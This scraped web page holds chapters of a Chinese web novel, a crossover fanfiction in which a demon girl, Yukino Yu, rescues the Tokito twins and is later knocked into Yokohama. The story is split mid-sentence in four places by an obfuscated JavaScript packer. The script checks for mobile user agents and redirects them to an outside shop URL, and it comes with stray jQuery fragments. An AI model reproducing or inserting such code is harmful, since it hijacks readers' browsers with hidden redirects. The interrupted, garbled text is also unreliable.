0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306263|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您在这个世界上也没什么别的事可以做啊啾。”肥啾抓耳挠腮,最后期期艾艾地蹦出一句。 “不,就算我不去找事,事都会自己来找我的。”雪野夕双手交叠放在腹部,语气感慨,“就像是莫名其妙就开始学月之呼吸,莫名其妙就学会了月之呼吸,莫名其妙就要被定期抽查。” 小肥啾最后都快要哭了,雪野夕也没答应它要做任务的事。 于是它使出最终绝技,“可是您都躺了半个月了啾,万一老师大人回来了呢?” “这确实是个问题。”她摸摸肥啾软乎乎的头毛,“但我有个想法。” “你看,虽然我学会了月之呼吸,但从来没跟黑死牟以外的鬼打过架……” “所以我们要?”肥啾扇扇翅膀。 “所以我们不如就出去找鬼打架。”雪野夕弹射起身,“这样子既完成了老师大人交代的KPI,又可以知道大家的实力都怎么样。” 而且和鬼打架,双方都不会死,就连一开始打打杀杀的心理负担都减轻了,好耶! 至于无惨妈妈桑似乎说过什么鬼之间不能聚集什么的。 什么来着?规定什么的她没怎么记住,因为想到屑老板的嘴脸就烦。 那就跟他这个在大正时代就开始女装的死变态对着干! 到了当天晚上,雪野夕心情不错地上路了。 她自从被创造出来之后到穿越之前,从没踏足过除了家和学校这两个地方。 可恶的作者!二小姐出去玩的时候怎么不顺便把她也画上,当个背景板也好啊! 穿越后又被迫学了一年的月之呼吸,果然,生活简直就是把她当做金针菇来折腾,但这一切都没关系,因为所有知道金针菇英文名的人都明白一个道理—— 就算今天生活把我嚼烂,明天我也得和生活say hi。 她来到一片湖边,尚未被污染的湖水干净澄清,即使在月光下也像一面镜子一样照出她现在的样貌。 雪野夕在湖边蹲了半个晚上调整长相,毕竟出门在外,进入人类社会那起码得长得像个人,不然怎么跟别人打听哪里有鬼出没呢? 她把鬼角、瞳孔和身上出现的一些鬼化的特征隐藏起来,现在看上去就跟没变鬼前的她一模一样了。 雪野夕满意地点了点头,拍拍脸颊准备继续前进。 该去哪里找自己同事的踪迹才好呢…… 正在这么想着,头顶划过一道黑影,随后就是一阵吵闹的声音传来—— “东南方向!东南方向有恶鬼出没!鬼杀队成员速速前去调查!速速前去调查!” 雪野夕:哎? 鬼杀队的名号她听黑死牟老师讲过,但他没说他们还有会说话的乌鸦指路哇! 惊叹了一下,雪野夕缓缓把谴责的目光停留在了已经开始看着远方吹口哨的肥啾,“为什么?你没有这种功能?” “人家、人家毕竟只是个系统啊啾啾!” “不会就给我向它取取经啊!笨蛋!” 5. 剑士与鬼 今天给这只老是待在我肩膀上的鸟取了个名字,叫做“栗子酱”。肥鸟听完后羞涩地表示“哎呀没想到勇者大人会给我起这么可爱的名字啊啾。” 随后我冷笑着告诉它,我每天吃干巴面包的时候最想干的事情就是在面包里抹点栗子酱,所以要是它不听话我就把它嚼吧嚼吧吃掉。 栗子酱当场流下了感动的泪水,它也一定觉得我是个好主人吧,哈哈。 对于穿越这件事,我有点想开了,因为如果不是那个令人无语的(划掉)咳咳,是在工作上有一点小冒失的卡车君,我可能要在少女漫里吃一辈子干巴面包。 还要循环那种一眼就望到头的日子不知道多少年。 然后来到这里后,我悄悄观察了山里的几户人家—— 这个时代的伙食也太差了!是我宁愿回去吃干巴面包的程度! 我气愤地抓住栗子酱,把它扔进了树杈中间,看着小鸟被卡住爬不出来的模样。 “勇者大人太坏啦!”栗子酱这次连口癖都不说了,直接眼泪汪汪地控诉我。 “呵呵。”对此,我丝毫没有什么羞耻心,毕竟在大半年的循环生活中,我的心态已经快要崩溃到了见到人就想打一顿的程度。 我憎恨那个停止更新的漫画家,迁怒于我的同学,我甚至会没由来地对着家里的门槛发泄愤怒—— 如果不是你把我绊倒,我又何必从提线木偶一样的人生中清醒过来? 但这一切的想法除了在日记本中书写下来,现实里的我还是被剧情控制着,什么也不能做。 好在我已经摆脱了那样的日子…… 好在……(记录中断,似乎是书写者太过用力,将书写工具整个折断所导致的)。 ——【雪野夕の日记,6月28日。】 雪野夕跟着鎹鸦飞走的方向疾驰着,自从来到这个世界,她除了惊鸿一瞥的鬼舞辻无惨和老师黑死牟之外还没有见过别的鬼呢。 鎹鸦的速度很快,眼前又是茂密的森林,层叠的枝丫拖满了她行进的脚步,但如果用血鬼术将这些树枝全部砍掉好像又有点小题大做了。 好在没过多久,她就听见了细微的行动声。 杂乱无章的碎叶声细弱而又连绵不断地传过来,还有一种饿极了后拼命咽下口水的声音。 雪野夕小心翼翼地落在高处的树杈上,拨开树叶向下看去。 鬼的鼻子很灵,所以她特意选在了背风处。 当看到应该算是自己同事的生物时,雪野夕还是有点吃惊。 因为地面上的那只鬼已经完全脱离了人形,此刻四肢着地,尖锐的爪子从四肢末端生长出来,此时正不安地刨动着地面。 他长发凌乱,衣衫褴褛,勉强能遮挡住身体,在他身侧还躺着一个开膛破肚的男孩,鲜血已经浸透了身下的树叶。 刚刚这只鬼就是在啃食这个男孩,只是因为察觉到了什么所以才会停止进食并且感到不安。 雪野夕伸手握住了栗子酱,自己也在树上屏息不动,不敢发出一丝声音。 果然,烟气弥漫的树影在风中摇曳不止,让地上的鬼更加焦躁不安,他来回转动身体,喉咙中发出警告的嘶吼声。 就在,一个时刻。 一把日轮刀悄无声息地从他脖子上切过,吃人的鬼依然维持着脸上狰狞的表情,但身体却已经开始消散了。 月光洒落,雪野夕看清了那个收刀的剑士—— 高大健壮的身躯,如岩浆流淌一般金红色的发丝,以及落日余晖之色的眼睛。 啊,是一位看起来像亮色猫头鹰一样的男人呢。 他杀鬼的动作实在是太利索,让雪野夕觉得脖子一凉。 这应该是个厉害的剑士,一击必杀的动作没有任何花哨,甚至看不出是哪一派的剑士。 但应该不是岩呼、水呼之类的…… “恶鬼灭杀!恶鬼灭杀!请继续前进!请继续前进!赶往任务地点!”鎹鸦在天上盘旋着。 哎?雪野夕思忖,意思是杀掉这个鬼不是这名剑士的任务吗? 持刀剑士低头,整理好那个死去男孩的遗容,对天上的鎹鸦说:“记得通知隐,让他们白天的时候来这里将他安葬。” 而他此时不能在这里停留,必须赶往下一个任务地点,拯救更多的人才行。 看来刚刚死掉的鬼只是个小喽啰,雪野夕叹了口气,真正强大的鬼估计像自己的老师那样,不但神志清醒,还精通战斗的技巧。 这样的鬼,鬼杀队也能应付吗? 听黑死牟提起鬼杀队时的语气,此时的剑士们应该没有人能拦住他才对。 她又在树上多待了一会儿,确定周围已经没有了鬼杀队的踪迹才跳下来,找了另一个方向离开了。 ———— 在这个世界中待了几个月,雪野夕大致摸清了自己同事们的实力。 强得很强,弱的却又很弱。 当然,比起人类来,即使是最普通的鬼的身体素质也是更胜一筹的。 但人类中同样出现了不少厉害的人,他们通过学习呼吸法来与鬼交战。 雪野夕在树影中来回穿梭着,鼻尖突然闻到一阵血腥气。 虽然不吃人,可是她的鼻子却对血腥味很敏感。 她停下了脚步,因为她在这种血腥气中,闻到了熟悉的味道。 是人类的血液散发出来的味道没错,可是这其中同样……夹杂着老师黑死牟的味道。 思来想去,雪野夕还是改变了方向,朝血腥气的源头走去。 越走,鼻尖的味道就越浓郁,脚下甚至已经出现了星点血迹。 她忍不住加快了方向,前面究竟发生了什么事? “前面有个孩子啾!”栗子酱拍打着翅膀回来报信,同时带回了前面的信息。 孩子?雪野夕也不再沿着血迹追踪,抓住栗子酱发动了她的血鬼术。 一阵银光闪过,她们出现在了山中的更深处。 一个衣衫褴褛的孩子正趴在地上,拖着软弱无力的双腿,用双臂支撑在粗糙的土路上爬行,嘴里似乎还在呢喃着什么。 在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306264|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,已经出现了一道长长的血痕。 但他仍然没有停下来的预兆,在她突然出现后,他似乎被下了一条,虚弱地跌倒在地,随后又猛然抬起了头,努力拉住了雪野夕的和服一角—— “救……救救我……” 是和老师一样的味道。 雪野夕低头抱住他,准备向他所说的那样救下他的性命。 “哥哥……救救哥哥……” 怀里的孩子并没有停下,他的眼神已经接近溃败,但他的手还是紧紧地抓住她,口中不停地重复那句话,“救救我的哥哥。” 雪野夕迟疑了一下,不知道他还能不能坚持下去,“你哥哥在哪里?” 似乎是听到了什么关键词,男孩的眼睛里硬生生爆发出几分神采,朝一个方向看去。 那就去看看,雪野夕心想,虽然不知道他哥哥是不是还活着。 她先用自己的血鬼术替怀里的人止了血,用一层薄薄的空间将伤口封住成为真空防止感染,然后朝着他视线的方向赶去。 在血鬼术的加持下,道路的尽头很快出现了一栋木屋。 雪野夕的面色却非常凝重,因为这里的血腥气甚至比路上还浓,如果真的有人,多半也是九死一生了。 门没有关,雪野夕抱着坏里的孩子冲进去,地面上躺着一个长相一模一样的男孩,身上口中都是鲜血,同样以微弱的声音在不断呼唤着什么。 没有心思分辨他到底在说什么,雪野夕先是用同样的方法给他止血,又检查了下他的身体状况。 嗯,非常差劲,是连器官都要衰竭了的程度。 伤成这样,雪野夕只能想到“听天由命”这个词。 低下头,两个人的手不知道何时紧紧地握在了一起,地上的孩子喃喃自语,“无一郎的……无……是无限的无……” 眼泪和刚刚的血迹浸透了雪野夕的衣袖,让她轻轻叹了一口气,用血鬼术小心翼翼地将地上的小孩托起来。 看来还不是判决死亡的时候,希望她能在太阳升起之前找到医生救治他吧。 雪野夕带着兄弟二人下了山,离天亮还有好一会儿,街上根本没有人,更别说找到医者了。 正当她皱着眉的时候,却闻到了一阵香气,同时身后也传来了一个温柔的声音—— “也许……我可以救这两个孩子。” 身后赶来的是一女一男两只鬼,看上去和她以前见到的同事不太一样。 “珠世大人!”那个男鬼不满地瞪着她,“为什么要现身啊?” “稍安勿躁,愈史郎。”穿着和服的美丽女鬼温和地说:“抱歉,虽然从你来到这个地方,就察觉到了你的存在,但现在才显露出外表,真是失礼了。” “你说你可以救这两个孩子吗?”雪野夕暂时没时间客套了。 “要对珠世大人用敬称啊!”名为愈史郎的鬼似乎不满地嘟囔了一句。 “请跟我来吧。”珠世转身带路,她也看出来其中有一个孩子状态并不好。 一时间没有鬼再开口说话。 6. 时透双子 今天在山上捡了两个小孩,还是双胞胎,长得一模一样,但他们醒来后我发现其中一个脾气不太好——如果弟弟时透无一郎是薄荷味的软糖,那哥哥有一郎起码是芥末味泡腾片。 我在思考要不要教他们月之呼吸,毕竟看起来他们才是老师真正的……血脉上的传人? 虽然目前他们两个对鬼的观感都很差的样子。 但俗话说得好,事情总归不是一成不变的,我就先当做家里多了两个人来养吧。 ——【雪野夕の日记,8月16日。】 当有一郎彻底地从那种虚无而飘渺的世界脱离出来时,他发现自己躺在一个空旷的屋子里,身下铺了柔软的棉被,身上则是更为轻薄的被子,额头上还有用于降温的冰袋。 ……这是哪里? 他环顾四周,只在离他一米开外的地方找到了一个低矮的木几,上面放着一碗清水,木几下面还整整齐齐地叠着一套新衣服——看起来是给他的。 尽管身体虚弱无力,时透有一郎仍然挣扎着站了起来,勉强把衣服拿过来穿好,看着碗里的水,他深吸一口气,咕嘟咕嘟全喝完了。 他这种程度的伤,一般人根本救不活,所以根本不需要担心水里有毒的问题。 喝完水后,身体感觉好了点,像是干涸的五脏六腑终于等来了甘霖,力气好像也开始回来了。 “哥哥!”身后的木门拉开,一个熟悉的声音响起,然后扑过来小心翼翼地抱住了他。 “无一郎!”有一郎也听出了来的人是谁,他忍住疼痛转过身抱住了弟弟,很快就感觉肩膀上湿了一块。 有一郎:“……” “不许再哭哭啼啼啦。”他有点别扭地拍拍无一郎,“你可是个男子汉啊。” “明明哥哥也哭了。”无一郎直起身子,“那个时候我看见哥哥掉眼泪……哎呀!” 被轻轻敲了下头的无一郎爬起来,开始仔细看有一郎的身上是不是已经基本愈合了。 “对了。”有一郎问他,“是谁救了我们?” “似乎是两个大姐姐,其中有一个姐姐身边还跟着一个脾气很差的哥哥……”无一郎回忆,“我醒了之后他就让我们快点离开,另一个姐姐就把我们带到她住的地方了。” “哥哥你整整睡了半个多月呢。”他又像只小动物一样抱上来,“夕姐姐还有点担心你会一直睡下去,但我知道哥哥一定会醒过来的。” “夕姐姐?”有一郎从弟弟的话里抓住重点,“是救了我们的人吗?” 话音刚落,木门再次“嘎吱”一声被人推开。 一个抱着水罐的女人出现在门口,她深黑的长发被一丝不苟地束在脑后,眼眸是有点冷清的苍绿色,面色苍白,五官秀美,穿着得体的和服,看上去大概比他们大个四五岁。 “啊,姐姐。”无一郎笑着跑过去想要接过水罐的动作被有一郎阻止,然后有一郎在无一郎略微不解的眼神中有点戒备地望向雪野夕。 虽然他很感谢这个救命恩人,但是这么一个弱女子,怎么想也不应该能从那东西手里救下他们两个才对吧! “怎么了?”雪野夕率先提问,主打一个把问题交给对方。 她抱着水罐在月色下微微歪头,看起来像是充满了真情实感的疑惑。 “……那个。”无一郎拽住哥哥的衣角,“姐姐真的是好人!” “很感谢您的救命之恩。”有一郎没有理会弟弟在耳边的小声叨叨,“但可以告诉我,当天到底发生了什么吗?” 对此,雪野夕早有说辞。 她先是走进屋里,把水罐放好,然后跪坐于地,摆出了一个“且听我缓缓道来”的姿势—— “那天,我的老师上山打猎,但到了深夜还未归来,我很担心他,所以只好一个人上山找他。”她顿了顿,恰到好处地露出了一点后怕,“没想到在山间的路上闻到了很重的血腥味,我壮着胆子过去,没想到就看见无一郎他浑身是血地倒在路上……” 听到这里,有一郎的情绪被牵动,下意识地握紧了弟弟的手。 “我以为他是被野兽袭击了,所以就过去准备赶紧将他带离这个地方,没想到听到他一直在喊哥哥。”雪野夕所说的当然都是真的,只不过掐头去尾了一下而已。 “我顺着他指的方向走,就看见了同样浑身是血的你,恰好这时候老师也察觉到什么赶了过来,我们才能把你们送到山下,找医生救治。” 身边的时透无一郎用力点了点头。 有一郎听到那日的凶险,态度不由得缓和了许多,他有点不自在地道谢,“那个……那天谢谢了,我一定会报答你的。” “我听无一郎说,你们两个才十一岁。”雪野夕挥了挥手,“报答的事先不急。” “怎么会?”有一郎挺起了胸膛,“再过两年我们就都是大人了,到时候一定……” “这些日子里,宅子里的柴都是无一郎劈的。”雪野夕对着无一郎招招手,他就像个快乐的小蝴蝶一样飞过来了。 时透有一郎:“……” 感觉弟弟太天真,太好骗了怎么办? “不知道你、那个、您的老师在不在。”这么说话让有一郎很不自在,“我们住在这里……” 住在这里应该是要向屋主拜访的吧? “不用担心这个。”雪野夕摸摸身边无一郎的头,“我的老师是个醉心武艺之人,那天之后就离开这里前去修行了,只是偶尔才会回来一趟。” 而且回来之后应该也不能让双方立刻见面。 有一郎是在第二天在宅子里散步恢复身体的时候才察觉出,这里只有他们跟雪野夕三个人在的事实的。 屋子和院子都非常大,而且空旷得吓人,院落里只生长着一些零碎的植物,看起来完全没有被打理过。 院子后面生长着一片竹林,也是杂乱无章,从后门出去就是广袤的大森林,粗壮的巨木枝冠繁茂,甚至能让走进去的人看不见太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306265|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳。 入夜之后,过于远离人烟的宅邸便漆黑一片,简直能让居住的人下意识地感到不寒而栗。 雪野夕正坐在回廊中,入秋的山风吹动她的衣衫,但她依旧是没什么表情的样子,看着身前的围棋发呆,时不时在棋盘上落下一子。 下围棋是老师黑死牟的爱好,他在不修炼战技时就会独自对弈,后来就变成了他们两只鬼在闲暇时间的消遣。 说起棋艺,雪野夕来自后世,下围棋时的套路更多,但她下棋的时候总是在琢磨是否应该展现出自己的真实水平。 毫无疑问,黑死牟有些自负,但好在他并非是在围棋技巧上略逊一筹就大发雷霆的鬼。 从回忆中挣脱,雪野夕看到了院子中趁着月光明亮练习走路的有一郎,和围在他身边事事关心的无一郎。 ……这就是兄弟吗? 因为有血缘的连接,所以将彼此当做最重要的人。 但自己居然在回忆刚来到这个世界的事……果然,只要是没见识过的东西,总是非常新奇的。 栗子酱落在她的肩膀上,雪野夕大概知道它又是飞到森林里不知道哪个地方胡闹了。 她在看时透双子的时候,他们两个也在偷偷打量她。 无一郎是在随时注意她会不会喊他,有一郎还夹杂了一些别的情绪。 “对了,你们两个是怎么伤得这么严重的?”终于,雪野夕扔下棋子,在棋盘上发出小小的响声,问出了自己最想知道的问题。 “那天晚上,我们见到了……鬼。”无一郎小小声说。 “鬼?”雪野夕反问,“人死后变成的灵魂吗?” “不是啦。”眼看无一郎都已经把那个字说出口了,有一郎干脆接过话茬,“这个世界上有一种叫做‘鬼’的生物,就像野兽一样,而且喜欢吃人……” “是之前天音夫人说过的,她好像还邀请我们参加鬼杀队。”无一郎也附和,“但是哥哥不同意,还向她泼了水。” 雪野夕有点惊讶,她倒不是因为鬼杀队早就找过这两个小孩而惊讶,而是她清楚地知道鬼的身体构造,他们两个居然能从鬼手底下逃生,而且两个都才十一岁。 “那接下来你们准备怎么办呢?”她问,“现在看来原来的家应该是不能回去了……毕竟是深山老林,容易有鬼出没。” “看看你住的地方,还好意思说我们。”有一郎忍不住嘀咕。 雪野夕听见了,但笑而不语,因为不然呢。 “我有一个罕见的病症,是对阳光过敏,意思就是如果我走到阳光下,皮肤上就会起红疹。”她状似忧愁地感慨,“所以这些天的劈柴打水都是无一郎在干的。” 无一郎眼睛亮晶晶地看向有一郎,意思是哥哥你不夸夸我吗? 啊这……有一郎哽了一下,“那明天开始我和你一起去。” “不用了,哥哥再休息两天吧。”无一郎说:“我这些天一个人也把哥哥照顾得很好哦。” 7. 是卡车君 有的时候我真的很不理解,人为什么要上班? 或者换一种说法,活着的生物为什么要上班? 感觉上班这种东西才是真正的鬼,会吸取活体生物精气的那种。 来到这个世界后,我唯一想要感叹的就是,这个世界的人类气血也太旺盛了,显得我好像个死人。 呃……虽然我现在确实不是活人。 但这都不是我生气的原因,我真正生气的原因是,上班就上班,为什么还要身兼多职,甚至是被迫上岗啊! 这个世界上到底有没有一个好的老板! ——【雪野夕の日记,9月1日。】 有一郎扯住弟弟的脸,“我躺在床上的这些天,应该用了不少药材吧?还有这个傻小子的衣食住行……” 居家型哥哥在心里仔细算了算,发现如果他们靠砍柴来还债的话,很可能到猴年马月也还不完。 “哦,这个其实不用特别担心。”雪野夕面无表情地回答,“我的……主公?喜欢做生意和学一点外语,还有一点别的收入,所以完全不用担心钱的问题呢。” 其实是黑死牟完全不用担心钱的问题,但他很少支配屑老板给资金,直接将宅子里的所有钱财都交给了她支配,雪野夕秉持着不用白不用的想法,快乐花钱。 对于这个解释,有一郎持怀疑态度。 因为对阳光过敏的病症和奇奇怪怪的主公,组合起来怎么看都是一个大写的可疑啊! 父母去时候,他身边的亲人就只剩下弟弟无一郎一人,所以他必须变得更加多疑更加强势,才能保护好自己和弟弟。 “在这个世界里,普通人是没办法保护好自己的。”无一郎抓住有一郎的手,“哥哥,我们就答应天音夫人的请求,加入鬼杀队吧!” 有一郎下意识地拒绝,“难道经过这件事,你还没有看清楚鬼的可怕吗!你为什么非要……” “可是哥哥。”在他面前一向听话的无一郎这次却很坚持,“我想要守护别的人,让他们不必被恶鬼伤害,我更想保护你!” 他看着愣住的有一郎,坚定地说了下去,“以前总是你来保护我,就连半个月前恶鬼来袭,你都下意识挡在我身前……” “因为我是你哥哥!你是我在这个世界上最后的家人啊!”有一郎的情绪激动,看起来还想要说些什么,但即将脱口而出的话语却被无一郎的一个拥抱堵在喉咙。 “所以我在想,如果我们那时候答应了天音夫人,也许这时候已经在鬼杀队的我们就不会遇到这一切。”无一郎薄荷绿色的眼睛里弥漫上了淡淡的水雾,“甚至我再强一点的话,也许、也许那天哥哥就不会受那么重的伤了……” 月光下的双胞胎紧紧相拥了很久,久到雪野夕都开始无聊地抛起了棋子,时透有一郎的声音才传了过来,“……也是我没有保护好你。” 他们两个人最终放开了彼此,最终,时透有一郎告诉雪野夕,他们决定一起加入鬼杀队。 “等我们学会了剑术,也就可以保护姐姐了。”时透无一郎像块软糖一样看过来,身后是有一郎不满地嘟囔,“可是我只想保护你啊……” 说实话,他还是不太想让弟弟加入鬼杀队,但又不想让他一个人在外面生活。 而且这个家伙绝对不会同意自己被丢下的! 雪野夕想到,珠世小姐曾经在医治有一郎的那几天问过她,想不想摆脱鬼舞辻无惨的控制,这些年来,她一直在研究药理学,想要通过药物来稀释无惨的血液,但目前还没有成功。 好厉害,雪野夕在得知这个消息的第一时间完全不敢相信,这个时代的医生居然能做到这一步。 作为与系统交易的,无需食人之鬼,雪野夕的日常活动并不受到鬼王的监视与操控,但她的身体里留有鬼王的细胞,如果鬼舞辻无惨死亡,她也难逃消散的命运。 “你看,好像完全不需要我嘛。”谢过珠世小姐之后,她小声对栗子酱说:“虽说想让我完成‘让大家得到幸福’这种奇奇怪怪的任务,但我觉得他们每个人的生活都很有目标,比我的精神状态要好太多了。” 栗子酱绕着她飞了两圈表示安慰。 而如今时透兄弟已经决定加入鬼杀队,珠世小姐和愈史郎在救治完他们二人后已经搬去了另一座镇子,雪野夕曾经答应过她绝不向外人透露她的存在。 没想到捡来的小孩这么快就要远走高飞的雪野夕惆怅地摸了摸下巴。 “那么去了后记得给我写信啊。”她看出两个人都是学剑法的好苗子,既然是这种好苗子,为什么要留给看不起她的鬼舞辻无惨呢? 想到这一点,雪野夕忍不住开心起来,她非常大方地邀请两个小孩再这里多住一段时间,在他们伤好辞别后,还额外赠送了许多钱财。 “老师不在,我一个人也花不完。”她望向瞪着眼睛就要拒绝的时透有一郎,“而且不是都说要报答我了吗?也不差这点钱,记得到时候还给我就行。” 打开包裹,两小只被晃了下眼睛,有一郎双手一合,将布包拢起来,“你这也太夸张了吧!” 雪野夕查看了一下自己空间里堆放的财物,又看向了那个小包裹,“我不觉得啊。” “这里荒山野岭的,你又突然变出这么多钱财……”有一郎嘟囔着,“不会是妖怪变!出来的吧!” “那种会吃小孩儿的妖怪吗?”雪野夕停顿了一下,“嗷呜?” 迎着有一郎无语的眼神,雪野夕耸了耸肩,这个动作对现在的人来说有点超前,“其实我是个绝世高手,所以根本不担心……喂,你笑什么?” 笑的人当然是有一郎,无一郎的眼睛亮亮的,看起来很信任她的样子。 “还是算了吧。”有一郎摇晃着身边的傻弟弟,“不许别人说什么你就信什么啊!” 雪野夕叹了口气,“看来,我只好证明自己了。” 栗子酱小小声地在旁边说:“可是万一暴露了实力,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306266|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候鬼杀队会怀疑您的身份的。” 这个嘛……雪野夕在这个世界里生活了快两年的时间,早就已经破罐子破摔了。 “无惨难道是什么好人吗?”她在宽大的袖子里揉搓了一下毛绒绒的栗子酱,“他和‘好’和‘人’都不沾边,反正他迟早也要被鬼杀队讨伐,我暴露与否也不过是时间问题而已。” 更重要的是,她在来到这个世界的两年里看到了人与鬼的处境—— 被人类伤害成为鬼;被鬼伤害则加入鬼杀队。 只有鬼舞辻无惨,她在他的眼里看不见任何情感,满满地全都是对力量与长生的追求。 也许鬼这个种族有其优势和存在意义,但在雪野夕看来,鬼舞辻无惨就未必有了。 当初降落到这个世界被注入大量血液后全身碎裂重组的剧痛,以及被扔在原地等待太阳降临的挣扎,鬼王离开时眼中的轻蔑,与黑死牟闲聊时他无意透露出的过往…… 还有那该死的卡车和系统! “啾啾啾!”栗子酱在袖子里大叫起来,“勇者大人轻一点啾!” “姐姐,姐姐?”不知何时围拢过来的双胞胎有些担忧地看着她,无一郎还在轻轻拉扯着她的袖子,漂亮的眉眼都皱了起来。 “抱歉,想东西走神了。”她呼出一口气,“等你们决定要下山的时候告诉我,我送你们下去。” 最终双生子决定在凌晨出发,这样到达山下的时候太阳刚好升起,白日赶路去蝶屋,这样也就不用担心路上会碰见鬼了。 雪野夕在山脚处停下了前进的步伐,再往前就要踏出昏暗的大森林,在远处的山坳里,一轮红日正缓缓升起。 走向光明的双生子手牵着手,转身向她告别,一起迎着太阳走去。 而雪野夕后退几步,将自己的身体彻底隐没在树木的阴影里。 踩着腐朽的树叶,她决定在森林中等待黑夜再次降临,然后想想自己接下来要去哪里见识一下自己的同事们。 月升日落,黑白更替,毫无目的的雪野夕不知何时漫步到了一片小溪旁边,恰好溪流上方没有树木遮蔽,清澈的溪水倒映着天上的群星,从未见过银河的她下意识抬头。 月色皎洁,星辉灿烂。 “倒也不算糟糕至极,起码还可以看看这个世界的星与月……哎?”这次轮到她惊讶了,因为怎么有个红色的东西,在从月亮上极速俯冲而下呢? 熟悉的配色让雪野夕联想到了一些事情。 这种情况当然是—— 发动血鬼术马上逃命啦! 可惜,卡车君的声音犹如恶魔低语响彻在她耳边。 “抱歉抱歉,由于我们人手实在不够,只能麻烦亲爱的你多打几份工了!” “砰——” 啊啊啊啊,到底是谁啊!雪野夕再次被卡车君撞飞千夕,心里蹦出一大堆脏话,要是让我找到机会我要幕后黑手好看啊! 还有,我迟早拆了这辆破车! 8. 横滨租界 被卡车君撞飞的时候,我的心里有一万句脏话,不吐不快。 栗子酱唯唯诺诺地跟了上来,用爪子牢牢地勾住了我的衣角,它也知道我会把它夹进面包里吃掉啊! 总之,我再次短暂地失去了意识,醒来后就发现自己在河里吐泡泡。 然后……(笔记模糊,看起来像是被水洇湿了)。 不是?那辆卡车给我干哪来了?这地方不对劲吧? 前有鬼怪出没,后有文豪失格,我觉得要活着真的太难了!!! ——【雪野夕の日记,9月10日】 雪野夕被湍急的河水冲得左右摇摆,嘴里进了不少水,她不会游泳,现在只能尽力放平心态……对,先冷静下来……可以发动自己的血鬼术…… 冷静个鬼啊!该死的破卡车我要和你同归于尽! 正当她在水底恶狠狠地诅咒卡车出门就被路上的钉子扎爆胎、执行任务必没油、停在路边被不良少年在车身上乱写乱画时,头顶上的岸边传来一个中年男人的声音—— “爱丽丝酱,水里面是有个人吗?” 挣扎着靠岸的雪野夕颜艺了,因为现在是白天啊!她没选择上岸就是因为透过河水看见了明亮的太阳,救命啊,不要捞她啊! 很可惜,根据墨菲定律,很快她就“欻”一声被这个同样大叔声音的男人捞了起来,下一秒就被过于强烈的太阳光晒得嗷嗷叫。 在河边散步的森鸥外有点惊讶,他身边还站着穿着小洋裙的爱丽丝,此时正不满地瞪他,“可恶的林太郎,一点也不温柔!” 聪明如森鸥外,在雪野夕刚叫了两声后就将大衣披在了她身上,又撑开了一把大大的黑伞,勉强制造出了一片阴影。 雪野夕缩在阴影下,为了躲避太阳,她现在的体型也不过就是十四五岁的样子而已,被捞上来以后看清楚了周围环境,她果断抢过黑伞,瞬移到了桥下面。 没来得及反应的森鸥外:“……可以瞬移的异能者吗?” 想到最近动荡的横滨,以及年迈的首领为横滨带来的风雨—— 他嘴角勾起一个非常和蔼的笑容,朝着桥边走了过去。 ———— 今天是雪野夕被森医生带回诊所的第三天,她还是缩在角落里面自闭。 毕竟任谁在上一个世界里面勤勤恳恳挨打一年多,结果还是要被迫来到别的世界兼职,都会破防哎。 但好消息,这次是现代! 她流下了感慨的泪水,终于可以继续看小说追动漫打游戏了……咦,这个世界的世界观怎么看上去怪怪的。 因为捡她回来的男人自我介绍,他名为森鸥外,旁边的可爱萝莉是他的异能所化。 这个新设定让她一愣,他的名字好像跟某个文豪重名啊,还有异能力什么的,这难道不是热血漫标配吗? 直到第三天,再一次出门回来的森医生笑眯眯地对她感慨,“最近横滨的河里出现了很多东西,看来我要经常去那里散散步了。” 他侧身半步,向雪野夕展示了他带回的新战利品——一只丧丧的绷带小黑猫。 呃,这是雪野夕自己的形容。 准确的说,他背后是一个看上去十四五岁的男孩子,黑发微卷,面容漂亮,鸢色的眼睛像是一块琥珀,琥珀中还凝结沉淀了许多厚重黑暗的东西,有些粗糙且湿漉漉的绷带凌乱地穿插在他的黑发里,让他看起来像个可爱的小僵尸,还是有猫耳朵的那种,不过现在猫耳朵被水打湿了贴在头上而已。 好奇怪的描述……雪野夕在心里唾弃自己的形容词,同时也在惊叹,这个美貌程度,去她们少女漫也是完全不在话下呀。 他的眼睛死气沉沉地扫视过来,但一贯喜欢观察别人情绪的雪野夕还是敏锐地观察到了他没有完全隐藏好的一星半点想法—— 